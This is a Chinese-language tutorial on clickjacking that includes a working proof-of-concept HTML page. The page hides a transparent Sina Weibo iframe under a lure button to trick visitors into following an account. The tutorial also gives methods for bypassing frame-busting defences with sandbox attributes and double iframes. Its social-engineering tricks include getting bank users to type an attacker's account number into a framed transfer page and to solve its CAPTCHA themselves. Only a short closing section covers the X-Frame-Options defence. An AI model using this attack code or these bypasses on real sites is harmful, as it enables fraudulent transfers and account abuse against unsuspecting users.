點擊劫持(Clickjacking)是由互聯網安全專家羅伯特·漢森和耶利米·格勞斯曼在2008年首創的。一句話描述這種劫持:利用社工搭配目標站的不安全配置對用戶造成危害。簡單來說:當你打開一個網頁出現一個flash廣告框,點擊“關閉”按鈕,可結果廣告并沒有關閉,卻變成了全屏,這樣的情況在計算機安全領域叫做點擊劫持。
01 什么是點擊劫持
看到上圖是不是都會去選擇點擊脫衣呢?以前我也會這樣做,點開說不定有驚喜!實則不然,這張圖大到有可能iframe了一個銀行轉賬頁面,小則可能是莫名其妙發出了不該發的消息,粉了不認識的人,或是一個廣告。
這就是點擊劫持,但本文不是單純介紹點擊劫持是什么。
02 點擊劫持實戰
需要懂一些html和css的前端技巧,參考w3school即可。
首先創建一個poc頁面,理論上所有點擊劫持的Poc都大同小異。
實例:新浪微博刷粉
<!DOCTYPE html>
<html>
<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″>
<head>
<title>clickjacking
</title>
<style> iframe { width: 1440px; height: 900px; position: absolute; top: -0px; left: -0px; z-index: 2; -moz-opacity: 0; opacity: 0; filter: alpha(opacity=0); }
button { position: absolute; top: 250px; left: 770px; z-index: 1; width: 80px; height:20px; }
</style>
</head>
<body>
<button>點擊脫衣</button>
<img src=”http://b.hiphotos.baidu.com/image/pic/item/3ac79f3df8dcd1001341dbcd768b4710b8122f78.jpg”>
<iframe src=”http://weibo.com/skdlabs” scrolling=”no”></iframe>
</body>
</html>
普通的點擊劫持真正只有兩個部分最主要,按鈕(button)&頁面(iframe)。
思路即為,找到有用的地方,查到坐標,放置按鈕,放置誘惑信息,OK!
1、有用的地方即為想讓用戶點擊的地方,比如轉賬按鈕,刪除某博文的按鈕,贊按鈕等。
2、坐標即為有用的按鈕在頁面中的位置,這個找起來可能比較麻煩,懂html以及css的則 可以直接從目標站源碼中找到坐標,不懂的這有兩種好方法。win家族系統可以下載屏幕格尺工具量坐標。本人OSX,可以像我一樣用便簽mark一下目標, 然后把iframe隱藏調節button到和便簽一致的位置,也很簡單。
3、找到坐標寫到html里放置按鈕。
4、誘惑信息自行想。
這樣就構成了,是不是很簡單?
當然 有些時候會有兩個按鈕或多個按鈕,就需要自行搭配頁面內容誘惑人們一個一個去點擊。
03 進階
點擊劫持常見防御方法的繞過:
JS防御
如if (top.location != self.location) {top.location=self.location;}
<iframe src=”xxx” security=”restricted” scrolling=”no” sandbox=””>
security=”restricted”? 為IE的禁止JS
sandbox=””? 為HTML5的禁止JS
這樣就達到了bypass的效果,但有時候我們想劫持的按鈕也是js的 那樣就比較蛋疼了,但可以參考下面的方法。
其他方法跳轉進行防御
只要是強制跳轉到目標站的防御方法,都可以用此方法繞過。
制作雙重iframe,即最底層為目標站,二層為透明,這樣還是能達到我們想要的效果。
讓點擊劫持更猥瑣的搭配:
搭配輸入框
以前曾發現加拿大某銀行可以進行點擊劫持,但需要用戶輸入轉賬的銀行卡號和銀行,那么我們就可以放幾個框,并誘惑用戶在框里輸入我的銀行卡號和銀行,這樣用戶看起來輸入到我們的框里,實際上輸入到了銀行轉賬的頁面當中。
當然,在各種情況下也可以搭配各種其他的東西,這就要發揮你的想象了,點擊劫持讓釣魚又上升了一個高度。
有驗證碼怎么辦?
部分網站在點擊轉賬或其他敏感按鈕的時候,會有驗證碼來驗證,這對點擊劫持也是一個考驗,那么我們就可以用我們的東西把頁面覆蓋起來,但留下驗證碼圖片和輸入框一部分不覆蓋,通過社工讓用戶自己識別驗證碼并輸入。
04 對于防御
X-FRAME-OPTIONS是目前最可靠的方法。
X-FRAME-OPTIONS是微軟提出的一個http頭,專門用來防御利用iframe嵌套的點擊劫持攻擊。
并且在IE8、Firefox3.6、Chrome4以上的版本均能很好的支持。
這個頭有三個值:
DENY // 拒絕任何域加載
SAMEORIGIN // 允許同源域下加載
ALLOW-FROM // 可以定義允許frame加載的頁面地址
php中設置:
header(“X-FRAME-OPTIONS:DENY”);
以上言論參考點擊劫持提出者的個人博文和互聯網上資料,如有錯誤,敬請包涵。